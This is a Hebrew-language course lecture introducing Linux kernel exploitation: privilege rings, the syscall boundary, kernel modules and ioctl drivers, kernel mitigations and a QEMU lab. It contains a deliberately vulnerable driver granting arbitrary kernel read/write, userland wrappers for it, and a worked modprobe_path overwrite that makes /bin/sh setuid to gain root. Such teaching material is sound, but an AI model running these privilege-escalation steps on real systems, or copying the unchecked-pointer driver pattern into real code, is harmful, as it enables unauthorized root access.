9.1 מבוא לניצול קרנל לינוקס הרצאה
עד עכשיו כל מה שתקפנו רץ במרחב המשתמש - תוכניות רגילות, עם המחסנית שלהן, ה-heap שלהן וה-libc שלהן. הרווח הכי גדול שהשגנו היה shell עם ההרשאות של אותה תוכנית. עכשיו אנחנו עולים קומה ומגיעים לשחקן הכי חזק במערכת: הkernel עצמו. הexploit של חולשה בkernel לא נותן לנו עוד shell רגיל - הוא נותן לנו את המכונה כולה. אנחנו הופכים ל-root, אנחנו קוראים וכותבים לכל בית בזיכרון, ואין מעלינו אף שכבת הגנה נוספת. זו הזירה שבה נלחמים על escape ממכונות וירטואליות, על root במכשירי אנדרואיד ועל jailbreak.
הפרק הזה הוא הקדמה מושגית. לא נכתוב כאן exploit מלא מההתחלה ועד ה-root - את זה נעשה בשיעורים הבאים - אלא נבנה את התמונה: מה זה בכלל kernel מול userland, מאיפה מגיעות חולשות, מה בדיוק אנחנו מנסים להשיג, אילו הגנות עומדות בדרך, ואיך בונים סביבת מעבדה שבה אפשר לחקור את כל זה בבטחה. בסוף השיעור תהיה לכם מפה ברורה של השטח לפני שנצא לקרב.
הkernel מול מרחב המשתמש - kernel vs userland¶
המעבד עצמו יודע להפריד בין שתי רמות הרצה, מה שנקרא protection rings. הקוד הרגיל שלנו רץ ב-ring 3, הרמה הכי פחות מיוחסת. הkernel רץ ב-ring 0, הרמה המלאה, שבה מותר להריץ הוראות פריבילגיות, לגשת לחומרה, ולשנות את טבלאות הדפים. כשאנחנו מדברים על "kernel exploit" הכוונה היא בדיוק לזה: לגרום לקוד שרץ ב-ring 0 לעשות משהו שלא התכוונו לו, ובכך לפרוץ את הגבול בין ring 3 ל-ring 0.
ההבדל המהותי מהזירה הקודמת הוא הבידוד. במרחב המשתמש לכל תהליך יש מרחב כתובות משלו, והkernel שומר עלינו: תהליך אחד לא יכול לקרוא את הזיכרון של תהליך אחר. בkernel אין את הבידוד הזה בכלל. כל הkernel, כל הדרייברים וכל מבני הנתונים חיים במרחב כתובות אחד ויחיד. באג קטן בדרייבר של כרטיס קול יכול לדרוס את מבני ההרשאות של כל המערכת. אין "קריסה מקומית" - כשקורסים בkernel, קורסת המכונה כולה (kernel panic).
ring 3 (userland) ring 0 (kernel)
+-------------------+ +----------------------+
| our process | | kernel code (.text) |
| stack + heap | syscall | drivers and modules |
| libc | ==========> | task_struct, cred |
| private addr space| <======= | page tables |
+-------------------+ return +----------------------+
isolation between processes one space for the whole kernel, no isolation
בארכיטקטורת x86-64 מרחב הכתובות מחולק לשניים: החצי התחתון (כתובות שמתחילות ב-0x0000...) שייך למרחב המשתמש, והחצי העליון (כתובות קנוניות שמתחילות ב-0xffff8...) שייך לkernel. כשאתם רואים כתובת שמתחילה ב-0xffffffff81... אתם יודעים מיד: זו כתובת בתוך קוד הkernel.
גבול הקריאה למערכת - the syscall boundary¶
איך תהליך רגיל בכלל מבקש מהkernel לעשות משהו? דרך system call. כשאתם קוראים read, write או open, ה-libc מתרגמת את זה בסופו של דבר להוראת המעבד syscall, שקופצת בצורה מבוקרת לתוך הkernel, מריצה את הפונקציה המתאימה ב-ring 0, ואז חוזרת אלינו.
הקונבנציה של syscall בלינוקס 64 ביט חשובה, ונשתמש בה הרבה:
rax = call number (e.g. 0 = read, 1 = write, 59 = execve)
arguments: rdi, rsi, rdx, r10, r8, r9
return value: rax
שימו לב לפרט קטן וקריטי: הארגומנט הרביעי עובר ב-r10 ולא ב-rcx כמו בקריאה רגילה לפונקציה. הסיבה היא שהוראת syscall עצמה דורסת את rcx (היא שומרת בו את הreturn address) ואת r11 (שומרת בו את דגלי הסטטוס). זה הגבול: משני צדיו אותו מעבד, אבל צד אחד מהימן והשני לא. כל בית שעובר את הגבול הזה מ-userland פנימה הוא קלט לא מהימן שהkernel חייב לבדוק, וכל מקום שבו הkernel שוכח לבדוק אותו הוא חולשה פוטנציאלית.
מהצד שלנו כתוקפים, גבול ה-syscall הוא נקודת הכניסה. אנחנו יושבים ב-ring 3, ואנחנו יכולים לזמן את הkernel שוב ושוב עם קלט שאנחנו שולטים בו במלואו. אם נמצא syscall אחד או handler אחד שמתייחס לקלט שלנו בלי זהירות, יש לנו יד בתוך ring 0.
זיכרון הkernel ומודולים נטענים - loadable kernel modules¶
הkernel של לינוקס הוא מונוליטי, אבל מודולרי. הליבה נטענת בזמן האתחול, אבל אפשר לטעון ולפרוק קוד kernel נוסף בזמן ריצה בצורת מודולים - loadable kernel modules, או בקיצור LKM. אלה קבצי .ko (kernel object), ורוב הדרייברים במערכת הם מודולים כאלה.
הפקודות הבסיסיות לניהול מודולים:
lsmod # which modules are currently loaded
modinfo vuln.ko # metadata about a module
sudo insmod vuln.ko # load a module into the kernel
sudo rmmod vuln # unload a module
וזו הנקודה החשובה: ברגע שמודול נטען, הקוד שלו הופך לחלק בלתי נפרד מהkernel. הוא רץ ב-ring 0, במרחב הכתובות של הkernel, עם הרשאות מלאות. אין ארגז חול, אין בידוד. באג בדרייבר שכתב מישהו בחופזה שווה בדיוק לבאג בליבת הkernel. בגלל זה רוב מחקר החולשות בkernel מכוון דווקא לדרייברים ולמודולים - הם גדולים, רבים, נכתבו על ידי הרבה אנשים באיכות משתנה, והם מקבלים קלט ישירות מהמשתמש.
מנהל התקן תווים - char driver¶
הדרך הכי נפוצה שבה מודול חושף את עצמו למרחב המשתמש היא דרך device file תחת /dev. מנהל התקן תווים - character device driver - רושם קובץ כזה, ומעכשיו כל תהליך יכול לפתוח אותו עם open("/dev/vuln", ...) ולתקשר איתו כאילו היה קובץ רגיל, דרך read, write ובעיקר ioctl.
הקישור בין קריאות המשתמש לפונקציות בkernel נעשה דרך מבנה בשם file_operations:
static const struct file_operations vuln_fops = {
.owner = THIS_MODULE,
.open = vuln_open,
.read = vuln_read,
.write = vuln_write,
.unlocked_ioctl = vuln_ioctl, // most of the vulnerability lives here
};
כשתהליך במרחב המשתמש קורא ioctl(fd, cmd, arg), הkernel קורא ל-vuln_ioctl עם ה-cmd וה-arg שהמשתמש בחר. ה-arg הוא בדרך כלל מצביע למבנה במרחב המשתמש, והדרייבר מעתיק ממנו נתונים פנימה עם copy_from_user ומחזיר החוצה עם copy_to_user. שתי הפונקציות האלה הן קו הגבול: הן אמורות לוודא שהכתובת שהמשתמש נתן באמת שייכת למרחב המשתמש. כשדרייבר עוקף אותן, או משתמש בהן עם אורך או כתובת שהמשתמש שולט בהם בלי בדיקה, נולדת חולשה.
משטח התקיפה - attack surface¶
בואו נסדר את התמונה. אלה הכניסות העיקריות שדרכן קלט של המשתמש מגיע לקוד ה-ring 0:
- קריאות מערכת - syscalls: הליבה עצמה. חולשות כאן נדירות יחסית כי הקוד נבדק היטב, אבל כשהן קיימות הן שוות זהב כי הן זמינות לכל תהליך. דוגמאות היסטוריות מפורסמות הן חולשות ב-
futex, ב-waitidוב-io_uring. - מטפלי ioctl - ioctl handlers: משטח התקיפה הכי עשיר.
ioctlהוא בעצם "דלת אחורית" גנרית שבה כל דרייבר ממציא לעצמו פרוטוקול. מספרי הפקודות והארגומנטים מגיעים כולם מהמשתמש, והפרסור שלהם בדרייבר הוא מקור נדיב לבאגים. - מנהלי התקן - device drivers: כל קובץ תחת
/dev, וגם interfaces דרך/procו-/sys, netlink ו-eBPF. ככל שיש יותר קוד שמקבל קלט, יש יותר מקומות להיכשל.
ההיגיון שמנחה חוקר kernel הוא: לחפש את הקוד שהכי הרבה קלט לא מהימן עובר דרכו, ושהכי פחות עיניים בדקו. דרייבר של יצרן חומרה מסוים, מודול ניסיוני, handler של ioctl עם עשרות פקודות - שם מתחבאים הבאגים.
מה משיג kernel exploit - הסלמת הרשאות¶
אז מצאנו באג ואנחנו מריצים קוד או כותבים לזיכרון ב-ring 0. מה עושים עם זה? המטרה כמעט תמיד זהה: הסלמת הרשאות ל-root, כלומר privilege escalation. אנחנו מתחילים כמשתמש רגיל, וברצוננו להפוך לכל-יכולים.
בלינוקס, ההרשאות של כל תהליך שמורות במבנה בשם struct cred, ובתוכו השדות uid, gid, euid וחבריהם. כל task_struct (המבנה שמתאר תהליך) מצביע ל-cred שלו. אם נצליח להפוך את ה-uid של התהליך שלנו ל-0, אנחנו root - כך פשוט.
יש שתי דרכים עיקריות להגיע לזה:
הדרך הראשונה, הקלאסית, היא לגרום לkernel לקרוא לשתי פונקציות שכבר קיימות בו:
הפונקציה prepare_kernel_cred בונה מבנה cred חדש עם הרשאות של root, ו-commit_creds מתקינה אותו כהרשאות של התהליך הנוכחי. שתי שורות, ואנחנו root. את הכתובות של הפונקציות האלה אפשר לשלוף (בסביבת מעבדה) מ-/proc/kallsyms:
grep -E " (commit_creds|prepare_kernel_cred)$" /proc/kallsyms
# ffffffff810a9b40 T commit_creds
# ffffffff810a9e30 T prepare_kernel_cred
הערה חשובה לגרסאות מודרניות: החל מkernel 6.2, קריאה ל-prepare_kernel_cred(0) כבר לא מחזירה הרשאות root אלא הרשאות של משתמש חסר-פריבילגיה. במקום זאת צריך להעביר מצביע ל-&init_task. בסביבות המעבדה שלנו נעבוד עם גרסאות kernel מעט ישנות יותר שבהן prepare_kernel_cred(0) עדיין עובד, אבל שווה לזכור את השינוי הזה כשתתקלו בkernel אמיתי.
הדרך השנייה, שנוחה יותר כשיש לנו כתיבה שרירותית אבל לא שליטה על זרימת הבקרה, היא לדרוס את המשתנה הגלובלי modprobe_path. נחזור לזה בסוף השיעור כשנדבר על פרימיטיבים - זו טכניקת נתונים בלבד, שעוקפת חלק גדול מההגנות.
יש עוד עדינות אחת שכדאי להזכיר: אחרי ששינינו את ההרשאות, אנחנו צריכים לחזור בשלום מ-ring 0 ל-ring 3 ולפתוח shell. חזרה נקייה לא טריוויאלית - צריך לשחזר רגיסטרים, לבצע swapgs ו-iretq, ולפעמים לעבור דרך trampoline מיוחד של הkernel. נצלול לזה בשיעור על ret2usr.
מנגנוני הגנה בkernel - kernel mitigations¶
בדיוק כמו במרחב המשתמש, גם הkernel עטוף בשכבות הגנה. חלקן מקבילות למה שכבר מכירים וחלקן ייחודיות ל-ring 0. הנה המפה:
| מנגנון | מה הוא עושה | מה הוא שובר לנו |
|---|---|---|
| אקראיות מרחב הkernel - KASLR | ממקם את בסיס הkernel בכתובת אקראית בכל אתחול | שימוש בכתובות קבועות של פונקציות ומבנים |
| מניעת הרצה בפיקוח - SMEP | המעבד מסרב להריץ דפי משתמש בזמן ריצה ב-ring 0 | ret2usr - קפיצה לקוד שלנו במרחב המשתמש |
| מניעת גישה בפיקוח - SMAP | המעבד מסרב לקרוא/לכתוב דפי משתמש מ-ring 0 | קריאת מבני נתונים שהכנו במרחב המשתמש |
| בידוד טבלאות הדפים - KPTI | טבלאות דפים נפרדות לkernel ולמשתמש | חזרה פשוטה ל-userland, דורש trampoline |
| הcanary על המחסנית - stack canary | ערך אקראי לפני return address במחסנית הkernel | overflow מחסנית קלאסית בתוך הkernel |
ושתי הגדרות רכות יותר ששולטות בכמה מידע דולף החוצה:
- הגבלת מצביעי kernel - kptr_restrict: כשהיא דולקת, כתובות kernel ב-
/proc/kallsymsובinterfaces אחרים מוסתרות ומוצגות כאפסים. זה מקשה עלינו לדעת לאן לקפוץ. - הגבלת יומן הkernel - dmesg_restrict: כשהיא דולקת, משתמש רגיל לא יכול לקרוא את
dmesg. חשוב כי יומן הkernel דולף לפעמים כתובות בהודעות שגיאה, ובכך מפיל את KASLR.
הנקודה החשובה זהה למה שראינו במרחב המשתמש: אף הגנה בודדת לא עוצרת הכל, והן עובדות בשכבות. KASLR נשבר על ידי leak כתובת. SMEP ו-SMAP נשברים על ידי מעבר לטכניקות ROP או טכניקות נתונים בלבד במקום קפיצה לקוד שלנו. כל exploit אמיתי הוא chain של עקיפות, אחת אחרי השנייה.
בבדיקות שלנו כדאי לדעת איך לבדוק ולכבות את ההגנות בסביבת מעבדה:
# check KASLR and SMEP/SMAP from inside the VM
cat /proc/cmdline
grep -o 'smep\|smap' /proc/cpuinfo | sort -u
# in QEMU's boot file: adding nokaslr disables KASLR
# and removing +smep,+smap from the cpu flag disables them
סביבת המעבדה - QEMU ומודול vulnerable¶
בניגוד לexploit userland, פה אנחנו לא רוצים להתאמן על הkernel האמיתי של המכונה שלנו - טעות קטנה מפילה את כל המערכת, ואולי גם משחיתה את דיסק. לכן כל מחקר kernel נעשה בתוך מכונה וירטואלית, ובמעבדה שלנו נשתמש ב-QEMU. היתרון הגדול: אפשר לקרוס כמה שרוצים, ואפשר לחבר GDB ישירות למכונה הוירטואלית ולראות את הkernel מבפנים.
הרכיבים של סביבת המעבדה:
+---------------------------------------------------+
| QEMU VM |
| |
| bzImage = the kernel image being loaded |
| (known version) |
| rootfs.cpio = small filesystem (initramfs) |
| vuln.ko = the vulnerable module loaded |
| into the kernel |
| |
| our exploit sits inside rootfs, statically |
| compiled |
+---------------------------------------------------+
^ ^
| -kernel bzImage | -s (GDB stub on :1234)
| -initrd rootfs.cpio |
סקריפט הרצה טיפוסי נראה כך:
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
-cpu qemu64,+smep,+smap \
-nographic \
-s
הדגל -s פותח שרת GDB על פורט 1234, כך שאפשר לחבר אליו מהמארח. שימו לב לדגלים בתוך -append: nokaslr מכבה את KASLR כדי שנתחיל ללמוד עם כתובות קבועות, ואת +smep,+smap אפשר להוריד מ--cpu כשרוצים סביבה נוחה יותר. ככל שנתקדם נדליק את ההגנות אחת-אחת.
חיבור מנפה מהמארח, כשיש לנו vmlinux (הגרסה הלא-דחוסה עם סימבולים):
וכדי לנפות את המודול vulnerable עצמו, שולפים את כתובת הטעינה שלו מתוך המכונה ומוסיפים את הסימבולים ב-GDB:
# inside the virtual machine (as root, for learning purposes)
cat /sys/module/vuln/sections/.text
# 0xffffffffc0000000
# in GDB on the host
(gdb) add-symbol-file vuln.ko 0xffffffffc0000000
עכשיו נסתכל על הלב של המעבדה - המודול vulnerable. זה מנהל התקן תווים עם handler של ioctl שמעתיק זיכרון לפי כתובת ואורך שהמשתמש נותן, בלי שום בדיקה שהכתובת שייכת למרחב המשתמש:
#define VULN_READ 0x1000
#define VULN_WRITE 0x1001
struct vuln_req {
void *uptr; // address in userspace
void *kptr; // address in the kernel - the attacker controls it!
size_t len; // length - the attacker controls it!
};
static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
struct vuln_req req;
if (copy_from_user(&req, (void *)arg, sizeof(req)))
return -EFAULT;
switch (cmd) {
case VULN_READ: // arbitrary read: kptr -> uptr
if (copy_to_user(req.uptr, req.kptr, req.len))
return -EFAULT;
break;
case VULN_WRITE: // arbitrary write: uptr -> kptr
if (copy_from_user(req.kptr, req.uptr, req.len))
return -EFAULT;
break;
default:
return -EINVAL;
}
return 0;
}
הבאג עדין אבל קטלני: הדרייבר מאמין ל-req.kptr. הוא אמור לגעת רק בכתובות של הkernel שהוא עצמו הקצה, אבל הוא נותן למשתמש להצביע לכל כתובת kernel שירצה. copy_to_user מוודאת שה-uptr תקין, אבל אף אחד לא בודק את ה-kptr. וזה כל מה שאנחנו צריכים.
הפרימיטיבים שאנחנו רודפים אחריהם - arbitrary read/write¶
כל kernel exploit, בסופו של דבר, בנוי משני אבני בניין שאנחנו שואפים אליהן: קריאה שרירותית - arbitrary read - היכולת לקרוא כל כתובת בזיכרון הkernel, וכתיבה שרירותית - arbitrary write - היכולת לכתוב לכל כתובת. אם יש לנו את שתיהן, השאר זו כבר עבודת נמלים.
מהמודול שלמעלה אנחנו מקבלים את שני הפרימיטיבים כמעט חינם. הנה עטיפה נוחה במרחב המשתמש:
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdint.h>
#define VULN_READ 0x1000
#define VULN_WRITE 0x1001
struct vuln_req { void *uptr; void *kptr; size_t len; };
int fd;
uint64_t kread64(uint64_t kaddr) {
uint64_t out;
struct vuln_req r = { &out, (void *)kaddr, 8 };
ioctl(fd, VULN_READ, &r);
return out;
}
void kwrite64(uint64_t kaddr, uint64_t val) {
struct vuln_req r = { &val, (void *)kaddr, 8 };
ioctl(fd, VULN_WRITE, &r);
}
ומה עושים עם kread64 ו-kwrite64? זה בדיוק ה-pipeline של כל kernel exploit, ונפרק אותו לשלושה שלבים שנעבור עליהם לעומק בשיעורים הבאים:
step 1 - leak: read a known kernel structure and extract an address
-> compute the kernel base -> defeat KASLR
step 2 - compute: base + known offset = address of commit_creds,
of modprobe_path, of the function we want to overwrite
step 3 - control: write to the computed address -> escalate to root
בשלב השלישי, כשיש כתיבה שרירותית אבל ההגנות SMEP/SMAP/KPTI דולקות ומקשות על קפיצה לקוד שלנו, הטריק הכי אלגנטי הוא דריסת המשתנה modprobe_path. זהו מחרוזת גלובלית בkernel שמכילה את הנתיב "/sbin/modprobe". כשהkernel מנסה להריץ קובץ עם פורמט שהוא לא מזהה, הוא קורא ל-call_usermodehelper עם הנתיב הזה - וכ-root. אז אנחנו:
// 1. overwrite modprobe_path with a path to our script
char *new_path = "/tmp/x";
for (int i = 0; i < strlen(new_path) + 1; i += 8)
kwrite64(modprobe_path_addr + i, *(uint64_t *)(new_path + i));
# 2. prepare a malicious script and an unrecognized executable named /tmp/x and /tmp/dummy
echo -e '#!/bin/sh\nchmod u+s /bin/sh' > /tmp/x
chmod +x /tmp/x
echo -e '\xff\xff\xff\xff' > /tmp/dummy # a file with an unrecognized magic number
chmod +x /tmp/dummy
# 3. run /tmp/dummy. the kernel doesn't recognize the format,
# calls /tmp/x as root, and that turns /bin/sh into setuid
/tmp/dummy
/bin/sh -p # and now we're root
היופי בטכניקה הזו הוא שהיא נתונים בלבד. היא לא קופצת לשום קוד שלנו, לא מריצה shellcode ולא בונה ROP chain, ולכן SMEP ו-SMAP לא רלוונטיים בכלל. כתיבה שרירותית אחת של כמה בתים, וזהו. בשיעורים הבאים נראה גם את הדרך השנייה - קריאה מבוקרת ל-commit_creds(prepare_kernel_cred(0)) דרך ROP chain בתוך הkernel - וגם איך מפילים את KASLR כשהיא דלוקה באמת.
סיכום¶
- הkernel רץ ב-ring 0 עם הרשאות מלאות ובלי בידוד פנימי - באג בכל דרייבר שווה שליטה על כל המערכת.
- גבול ה-syscall הוא נקודת הכניסה שלנו, וקונבנציית הרגיסטרים שם (
raxלמספר,rdi/rsi/rdx/r10/r8/r9לארגומנטים) חשובה לזכור. - רוב החולשות חיות במודולים נטענים - loadable kernel modules - ובמנהלי התקן תווים, במיוחד ב-handlers של
ioctl. - משטח התקיפה: קריאות מערכת, מטפלי ioctl ומנהלי התקן. מחפשים את הקוד שהכי הרבה קלט לא מהימן עובר בו.
- המטרה כמעט תמיד היא הסלמה ל-root, בדרך כלל דרך
commit_creds(prepare_kernel_cred(0))או דריסתmodprobe_path. - ההגנות בkernel: KASLR, SMEP, SMAP, KPTI, canary על המחסנית, ולצידן kptr_restrict ו-dmesg_restrict שמצמצמות leaks. אף אחת לא עומדת לבד.
- כל מחקר kernel נעשה בתוך מכונת QEMU עם bzImage, initramfs ומודול vulnerable, כשאפשר לחבר GDB דרך
-s. - שני הפרימיטיבים שאנחנו רודפים אחריהם הם קריאה שרירותית וכתיבה שרירותית. עם שניהם, ה-pipeline הוא leak -> חישוב מול בסיס הkernel -> כתיבה -> root.
בשיעור הבא (9.2) ניקח את הידע הזה למעשה: נכתוב syscall מותאם vulnerable, ננצל אותו עם טכניקת ret2usr, ונתמודד לראשונה עם SMEP.